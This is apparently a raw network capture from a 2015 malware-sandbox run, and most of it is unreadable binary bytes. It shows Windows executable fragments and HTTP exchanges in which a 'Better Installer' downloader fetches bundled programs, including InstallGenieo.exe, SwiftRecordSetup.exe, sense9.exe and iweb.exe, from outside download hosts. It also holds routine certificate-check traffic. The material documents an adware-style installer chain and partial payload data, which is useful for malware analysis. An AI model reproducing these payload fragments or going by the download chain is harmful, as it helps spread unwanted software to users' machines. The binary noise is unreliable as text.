u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......h...............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
..h............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

If-Modified-Since: Tue, 14 Apr 2015 08:31:54 GMT

If-None-Match: "552cd07a-d66"

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:21:28 GMT

Server: nginx

ETag: "552cd07a-d66"

Expires: Sun, 19 Apr 2015 05:04:41 GMT

Cache-Control: max-age=600

Age: 83

X-Cache: Hit from cloudfront

Via: 1.1 951bc6ecd5fb2c9732f14df07a0958a9.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DGnUC8yx8sroX64u7WMoi5ggq8965xNqWzGkq-TUtEE1Kt5LaLgiyQ==

GET /sd?is=sm HTTP/1.1

Range: bytes=196224-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache



....v~t/..**[email protected]%-P.....0L.r....P8.C?k.......4!....tqQ.nJ.\.r.v
..&k...}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.....o..]...G..4U.Xu.
..L..x..F..8.(...C'...*`.i....9..K(..[.......!..<..3Z............,.
g. '...yO.......J-...;...._.|"..g.....jD">.........*W.l9.0....@ .C.
.....hm.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n...Q.z.p }Sv...t..t...
..g5C:..&@........$\ ....i..7..C B..q..6%."..zg..3......../O...{..^.._
[email protected].|i[9...qF0{.....-Mo'...p.N'....=..#........g.4.]...7....O&
lt;......Ag..y.....w....C.....0a.......Ui.B......]...X.X.".w=a.sa1....
...I&..x....E_.a..K.1.~.`..p{...h....S....Pz./...G.a...O...[/......j2'
y.y.t..._.4.o.....!.......%.m..q..S...A&..*b>...C........D8...b5..=
.s.......xHc~9..5?$...g.c.]PG..m..............q....BG....|.A..Zs..;_. 
[email protected].}.YC...Y....Y..%m.3.^}..
"../..I.u.[...z..>.......y.-6<.wU..%0/..7qJ.n!......r....7b!....
.......P..{.6......0...oB...S0F...../..=}2i.e_/...........[.i.V.}..[..
i.1...... .....h.).-}.{..f...u...f'0.....%........t.4......R....M.....
p.,..E..A.o.u5b..n..&....u.<.(.(LK... .g.........#.>.O..B`.|..0.
1.?.......07....(5.'..P..d.!7...._o...<..v^&...._A3n[S.F.._..${V{..
..#,[..;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!...48.......SN..2.4'
.......g..6WY.D......._..W*.v..=.>[email protected].........|D9i/..y.|W
@...... .8..t...M....q..x..$P..i..?%$......j...z.C..@.,p.vW..!y..v.I..
..~"9...X>......NA....5j.E...q[.....Y...h...O=cS.fU..D.]..<....r
..3f.....3..!x..[t..SO. ....u1.m{Z"..Jw....O*..SG*..?TYb......x.~.<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1552

content-transfer-encoding: binary

Cache-Control: max-age=453250, public, no-transform, must-revalidate

Last-Modified: Mon, 20 Apr 2015 14:15:22 GMT

Expires: Mon, 27 Apr 2015 14:15:22 GMT

Date: Wed, 22 Apr 2015 08:25:11 GMT

Connection: keep-alive
0..........0..... [email protected]
0141522Z0s0q0I0... .........z`.V.<N.v...TM)(.r...L_.6....a"I9....J.
8........c..uU..$.;.....20150420141522Z....20150427141522Z0...*.H.....
...........u......../:.......r).rF;..."?89....)..../Y..I...KBb...J_{|.
-...m......8.!..Ia..Mp....e....F...\.8.$y.6..&"r.......N....~X1a...,.#
....Y..0..*.=.U[/.B.[o.h.....b..2..... ...^N..."...,..q.4}.....}i5.N..
V 0n...|u.n{.]...8...T..%%..{Rop....y_.U...N,.g.h.... ...50..10..-0...
.......y.P}~.EY....T]. 0...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1<0:..U...3Class 3 Public Primary Certification Authority 
- G21:08..U...1(c) 1998 VeriSign, Inc. - For authorized use only1.0...
U....VeriSign Trust Network0...141202000000Z..151216235959Z0..1.0...U.
...US1.0...U....Symantec Corporation1.0...U....Symantec Trust Network1
?0=..U...6Symantec Class 3 PCA - G2 OCSP Responder Certificate 30.."0.
..*.H.............0..........6..]......w';.r........I..c..4.... ......
...TyW......hd_.....!C.k......SE<?o.H.. .me.c..9N.&....e.^-..a.....
i\:..*."..u...|....".Nf3.~.L...QW...p.....-]UV8U...J&.<./.G.....I..
.4.T....#I*.i.E0\..~q$.I.......X?G....f.t......v.l.U.Ld.I...B.....=...
Sf...H.s.........0..0...U....0.0l..U. .e0c0a..`.H...E....0R0&.. ......
...hXXp://VVV.symauth.com/cps0(.. .......0...hXXp://VVV.symauth.com/rp
a0...U.%..0... .......0...U........0... .....0......0!..U....0...0.1.0
...U....TGV-B-2740...*.H............1.`...i.....H.C.i.9~.i..Z.r.*$..(.
/.ag9.....J.Q.~.`.$?b..C....<.h.........d&....3.kV.....f...3I..<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1725

content-transfer-encoding: binary

Cache-Control: max-age=498813, public, no-transform, must-revalidate

Last-Modified: Tue, 21 Apr 2015 02:54:53 GMT

Expires: Tue, 28 Apr 2015 02:54:53 GMT

Date: Wed, 22 Apr 2015 08:25:11 GMT

Connection: keep-alive
0..........0..... .....0......0...0......%bn.$..5.......?'4....2015042
1025453Z0s0q0I0... ........N.E.~.?Q.n.j<a.....3...>c."t..d.1..#.
...M....=....x..":...K.....20150421025453Z....20150428025453Z0...*.H..
...........l8.....GU. . .=g.....O..t.z ..b..{...C[.?o.>....A..!5.c.
......(...:.....J.Z....8..<..F.&......N1.......!.........n].....{..
z.e..T.@..}.......[......?-.1......3......i%.I..&........d....S<H_^
]j..?.8}.G..............I..K_,...B....[{Y.2.d.:.$.. .C.i.'.@.\...V....
0...0...0..........7.R.~|..r."....#0...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)091.0,..U...%VeriSign Class
 3 Code Signing 2009 CA0...150401000000Z..150630235959Z0..1.0...U....U
S1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1
VeriSign Class 3 Code Signing 2009 OCSP Responder0.."0...*.H..........
...0..........z..|..>.....5.Z ...2.C MWIH.5......M.\.... ...eW..`.B
=..`:..R. ...Z.k.Y.....p@.(3.c....a.;..[E....J:'...`...B....M..&......
{. (........%......^[v[....m....*.T.o&4..3.....3.........G...e)...'?.K
..2s..8=?..z.:..T..-.8R..8wv7*U.K..c...<s...]{.........6.?_........
...0...0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........https
://VVV.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign
's CPS incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... ...
....0...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-3492
0...*.H.............,..-......q3a........z....t;B.z.h...]...#}.6.,<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=130816-261632

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 130816-261632/523264

Content-Length: 130817

Connection: keep-alive
.Y#./[email protected]}R...;B...,..vgQ4...W..O&..
..=.......s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./.
...E..n...........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.
........w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@...
..#...J..h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...
[.6<..M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.
......)..~..b.T.........f...<8...C..$>YC............t..R.....`.*
[email protected]..`.....i...X.y...1.KQ...w,d.....4Oxn..
..... (....6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..
$...l>.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j.
.Y......V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F....
.G...YWH.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>.
.=.1:h8.2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...
[..[..i....Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...
e..^ N.7...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./....
..Zv9.m..P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......
2.....F...@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>
.v..?......>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*&l
t;  rq.L:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...g
O.G'.B.e..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A....
.Z...LVAQd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.
|o.1{Ue..?C^-................T9P.pb..B#.....0_B....:#....v....8<<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-494204

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: rOPW2Pzjw729dgnXA2x2s7K9zT6Q3NVgBX8Cosct31mkJ0UBRgnkcsbr6ExEtv8R

x-amz-request-id: C427E485CFFFB625

Date: Wed, 22 Apr 2015 08:23:52 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-494204/988408

Content-Type: application/octet-stream

Content-Length: 247103

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:25 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2645

Content-Length: 250000

Content-Range: bytes 0-249999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690886.dop007.am4.t,1429690885.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@...........................
......./........ ..............................p..........8C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]... ....... [email protected].
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.2..v..D..u....A...Qa...?2.aE..j.1.L..H..i`}g.y..&...$..yl....5...`.p[
...y;....Ewz8.*-N....u.D...(.........n.;Kr~vV.z...-GZ...6..J...P....}.
$..E...l.O..-..A.9.Gf.........I.. a...."..Y..B.n.<..R......mSrz..#3
.x...........?..4.32....8....].{[email protected]......[..a3.~.......j..W...^D....
3.-.f..P.W....L#....Z.&..f..~. <.B"..Yg.v.B..."....X..jP.......H...
.U..5.^.O.....}..c1....(Z.}.l......m.......1........0.o..._..^M.....0.
.....r..[.....//N.}.8....u...D........... .Drz.E...._...R.>...{v..W
..#~...\.(.2.....z.AS._..*..^........A.>..(......` wD^..m=..8.Kh{r.
f0.&/..o1..r=t..............vl...RI.Amn.........y.Rh%..A.B.]Z=..S..0uA
W..:....'....`#...[.....5...o.<.....cL.....O..T.xU.rzp.:.fB.....bP.
$.:. ...?[4Cg...%).?....PG...n.T..n.\.zD.u.._K~ ..Ut.6.X.ru|.........!
"....V...O..._/;3..R......:..H.i...f%y..,..6...9...2Tp.)=[......c..q..
...u.|...`....... N.j......h.............X.#.k4N.... .A.!.W..47]P.....
v......zs.Up.H..2..R..B...!.d/..d..T.j.....S>...<&.....zCZL)....
.......^...M.DX*j"./.v.....([email protected].!.@....[.]K....pcD..c.
...Yx....$.....j........Q......\....,........eO\[=v0....q.h;.Z...)j.)s
@{.......wQ..z......-...?x..6 ...H{.k..n......o..X...H.\*.._.Z.>.G`
...Dp=.."1...6a7...O.L..YF....H5.Bo:..A.lQetuh%.&...'..p.....9l...a..l
E.#...vc.|Q....V.....rpS..F..e'......'.....e..(.Vj.*y.r0.!.OI..a_.J|L.
.............b....b..-.......w...v]e{...._si.U.zC'...-..7]?...edN.8G..
...=NS.. ..}.u(-o.....G..rp.jb...."D.P.....,L..*.....W.6.........s'S..
.~...L..W...O......#.c.{4...bw...K(...:O..o...PC."..[@..8........j<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:26 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686143"

Last-Modified: Wed, 22 Apr 2015 07:02:23 GMT

Cache-Control: max-age=2463

Content-Length: 250000

Content-Range: bytes 1500000-1749999/12373348

Content-Type: application/x-msdownload

X-HW: 1429690886.dop007.am4.t,1429690886.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"
..>..[[email protected]!...`....5{................o.....H..l....L.
...B$.^.....G.....B....-.......*."... ..Y/&.n......,[...I0......{g#<
;.)[email protected]'".......Y..!.....T.\..p4....P....a.0;....8.|vWVM../...\.
....wa.Q....`?>.O.D..e.....h..zm...<........_..o]M.......e.]Y...
....jQ..P...6.I......BW....&..M.....q.....7..D.5G...l..rXt.u.....\..k.
.....F$..c..Kb.....`I..Z!.:...\|H.......QF...V7.v.p....o.<....9...(
...]Ho... F2w.5.zUR....34[..LK...>.W7..i....C_....T.....By?....4..l
.M:;.Y....._p...(.9.......X$s#...f.t[..=...g...c.......#.}E}..Wl...K .
#...9....=1..K.1....8..j............~.3....4Z./I(...........W.........
.Z!}.o./s.7...Y.j...1....9....S. ..O.Y.7...B..\^%bw...fd.1..Mw..y..c..
~.....u]\....Z..N[.........K(a.n>.z..3......A...~o....]..}.H3.<.
..>.!]..k.....R..,v...{[email protected].%..*"7U.9..
"}zM>$.gW.j m....z.h.....y.mt{..wg..f. 2(.t=........1 g...#.q`L.&..
..~.*l....X;\.k..x.......8.....!v9Y._.B 6..e........W.Kz.Z.aI.......6.
[email protected].<&.S.&q.).to.LCA{Hf.=....Q .OC.L.~..q(
.G.-mO...z`=2Pm..p...b...Tty..}.. 7...3..:a......./`N.^.....*AXJ....-z
....BPS.......`.v...o..X.E.\8l\..M.V..K....'.HS~.o=l...Y....Z.w3p}....
...............X.... {.....9.f..0....l..U43)An.....w)...C..'.@&~.....J
TX.hK..`..u...08.d;[email protected]=..9..S..DT...._..4i\u......
rOX$U.FvZ....k......v.MP\6y:.`.\..h"..VC^:..s1W[.~..*.vY..1..L.7......
,.... ...i@....\;?.i..Ky..dB.x..>M.b...>.J2.s.k.&.....F \.....a8
?.._...)s*.P....].".!..9.....qq.7.}..h.qB..F.2...p......'.<.i..<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..Jum...hu.(=dp.x.[..d.vj<...0.....>......... ..x]x...x.'...l...
tE*.U\..........Y...........}......Z.'. .:......U...~zu.a.G.. {e......
....f.......7Y..u.M.#.>j../....k;'.g...u.,Ss=.....!.s.b.K...9h,.a.N
..[1.~.G....F....?W.......QRb..%.....g..g.....u.......4..ah..../72....
0...[..-.>.`%.1>..0..w...k.O.x..^....z.tu.....!...@..`.c.......E
...... ..{............WK.z1.%V..l@Sj#X...i....0_.$.M,e....%....R..i .p
.U.....pi.2.iA/ ..R.....\..Y......8.;#,.?.......' .......>6'....^m/
.M..@`.%s6.C"..Ph......_*.x.0M.S.?...<xm...9F....P.P......9...|K...
...6..4uj.z..;.jM)t...!...o.....0.l:.;v.b..c.<.'.A....Q.,...Q.....S
B...I...`..?y....P......O?Q..,.eoT|t...j..h:...........K......3.......
.....h*[email protected].._N.....|b...h........7.....'M.a.......
=....^.D..b..y.i5c4I..[ .R.d.${a.......E....2..o.|H.\.a......%`.Q2#?d.
..0....u..y.yJ.qKMi.U..<.P.B.!...M..'.....#LF.........\.l......j<
;:.............y...E.....OP.4.................0..T....t.Y<f.. *.}.h
....i.}.I0. ....).~...4..Z^l..o.!.X.q..g....^;UP..G.2nM..]...y8...f...
sa...`.....4.S G..U.........G....sk.....n.?..n....9..9.q..\.7_tE.J.9 .
O...a.U.......8......91...q..d}.M-p$z..;'.............F..R.....rvG{.:y
o....S'.6`.3V.oG*....(..;c.....r.k..G...N..j..C...a..gr5..6kai.E.....`
......,..........k....J.L{.'I..}..].D....\p..'...z...:..h..p..i..M..8r
....}8.0*.C...3./....bF...)[email protected]./..k........l.a.....x..;.|..
T.>h.......[8...9..h5qj....;U.,.......-t..g..vi.C'....6..1ci...l...
i..v.>..9.............C........b.>."o .q|.s#.^.r....."...L..<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..pyb..@. C....r. .....QL.vi.Z...a.8...ZI4...l?{.|.-6.Akg....X...C7.@=
.U.......0\n..%.r08....... *......d...6..7@1.`.~.. .!...6..,....o.=..|
.`... ......QO!.r..5,......h.......U............N.AO.....N........~..j
.F..Z."..4.v...H#3J..o.9..*.....~..o.h*.?..c-.]...R....L.M...C.:.O..g\
[x.....\...<l.].......C.)r<IV.4..K(._..3.....y,@w.81..oL..W..6 .
(..9.[.\........s}./BT.....c...#j3f...BP.j.......b.#[].G..`m.. .!..1o.
v.s....5.>d8....M.. B\.U..#$R.b...mu.....IMNs.Y.sG0{-...lg.R.|.O.n.
.5(z}P>.c"......;.fN....O...8..~.._0&....K...s!.J.........k..]|Z.H.
.M.%\.oT.`.U}..).2....G3N[...4#7...0...t?.....b...6ne.M.Sa.U..R<@_.
.=5W.`l.8..~.2......"..@.]..)N.w....W..>SNT5..........q............
w....h.&F.'$...W.n3JV.;k...<..wF>.....A...]....m..b.i......T}.#}
...U0...H?62..E..?...!{x.|.j...nn....o.........b~;\....%.....MQ...).x.
.2l:.<?.)..!..'([x.........O6y..E.S<V.".5.....O../}....m....l.;D
...5"...#..um Y...Io...3.8.$.W......ml...........{..:..t..M....U{....[
...7..Q....tsZuF.#.!5...e9.U*....|9B...=.J....@.; .....C..T...)K.C....
&..}..Y..m.v.y..?. .X.......IWaSnFF=...J....."p. 6.`/07./...m...2~,...
=....F.c.JHd........p. .;}G.j...<...........p....7.k..MF_k.........
B.q....x..n;.N.:0.(......3.P...bO76......Z...M%^\....kC...>.RC.....
..X..E.....A>..J3\......->.Q.?G)...-..@..>....?...)..*...k..D
.."...v).Tu........Ht.... R=........O#)R..G..X.!<.!.A..."....lx.L..
....A.....;.D...9|1..o.&GJ....Y.D...........3J>..Z#x..._......'...!
....]...L.gKG...K.Yw^.b1<G&.!.P.#....=...VT.....q.]u..3...h....<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:27 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2643

Content-Length: 250000

Content-Range: bytes 4000000-4249999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690888.dop007.am4.t,1429690887.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
.....}.QI....?.l/.".....5}..'.#~.(.?.#%.3N.......L.^.'.../....a5....9.
Yg...8...(?..7s......U.2.ocf@.}.aI.l..*$...z ...R.]....[..b....$.....o
.0..&...3.D...q.....C...i......K..{..}<N....u.;..fr..yyW...](.. ...
.'..u~:q.4...]$}.`{..B...7.L..,Ed.)...&...y........>.....=.u.|.S.L.
..qHgt..../..D.......i..9f..2.`...2.}.]...........2K\.......F.B...(:.g
(...T...2..W."....$.....lz..`s[....(....t.a'./.$..?..O2....t.!..f}Jl.'
.}1mM..:p.uY...Z.2.....O.Q.L[ j....6...j>...Q...V[..>..:[email protected]
P^..kli.....5..zJ...Q..Lb,d-j.w:.M".6.N>rYU...{-.....?;..Yu.;q...Nn
...>5'i6..I..ob..^*..d...../...lO. ..g..p.Ö#.8k.!l.4T....'..zH...
........Z...$.=Pq,- 2=..W...h*sa.p...b..{].]??P..."3.%.&t.eR`......^..
.|[G.1...f....mR..U.f.......O!o5..=0...Q7....=:..........<..\.>.
....u..o.....:.qpI...}...b....D.r.l..,.....b...|7...u......L..k,kT....
K.a.N7|b."!%.....]t.....9IX.{D..W.~4wk..6..[-..XpW...D .hdv..j.P.5POA*
..|SN.......(#..$...)c.'r.)|..M......c....|...*3.~......WKF......i.G{i
...........-.1...I~.....%.K)...."w.......T.....%f=K...k.qk6.g..xR@v&..
.g.NE.S.`....:...R..$.^.....y...5.r..H..K..N.~.H............._.L......
L...O.}.pH0k....Nd..g!ZZ...u...v.e..B.DBC.F....v6Ls..I.........*l7[K..
.c..{j.\...p..Q...^........q.P...=R....._ I?.W.x...D.....p.gq._.=.(*s{
.].........s..,rC{.F.p.y.a...7.j.0-}./..c.....oN1.CO.ze.av5......6fh..
..#..y.o..J.......K....1.Wc..5.5zU..e\..Q}N..I.E_g2...^p.X.k...yp.E...
5..u..v.t. -2..,......h..^>................B..{.EF...d...?.V]......
...Q.si...D[.(#.8.Aq..<[email protected]*....=L...gFN<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



....,......L..\..2.u.Xj.}.e.4p..,.......j.0F.Q>H..P.,l..6..r..I..V.
.1....wPV......2....Z....}.;.Un..Yy...0.A[.](~_a.<.F.N':..Lh.4.(...
iW/..P.|.>..]...)m.....N......I...ssD.# .\...X.....6..."A.!.....T..
u6.......... ....Z.K.....)W....o...*.'.G.EiFu....;P.~.....#..Zm!....g.
%./..d...A.X.a.U...7.k...<.f...*J.......MVI.<Z...A.E9...O..7`.f.
f....).....W.[.\`,.F..!....}h.Hq...]........x.....p. .|..0...v~...^hk~
P2&.,....P.[.Jy>j.......H....'..R\|.R.....%......or...w.Z...K.U...&
lt;.#?.T..3r1...3..q..]..HW.]nmO...pS...B..D...... l.y..I!.k..... =i..
~j..2"...}...Q#..,RM..G..............Nk...#..]".rN.:e.....w....7.w....
@\.m....=..YEzI5....a.q.CY>.{...mY.....Vm....v.Gd....2..L.Q..O.....
..j.$.T..0..7[l'..^{...^.q.(.......\m:L#....}..V...x...8...." 5..l...i
m..\.E..z.hkP.9 ..."6S...M.......q......P.[3.....m,.w.s<0.'.u......
.b.9,uomuB.....@W.}..K...44TC..N71.2..f.G vJ...M.D.._......?.YzT....0~
....G.L.V..v....y......L...Y....g...H....2z`.N.':.Smq..V..............
..c.u.e0...S....Xa.-N..`E... `qgB.........|;.%[email protected].".|H
.#......O..~.(.... .....i.....6.E.N^......>:.r`....5:.sX...........
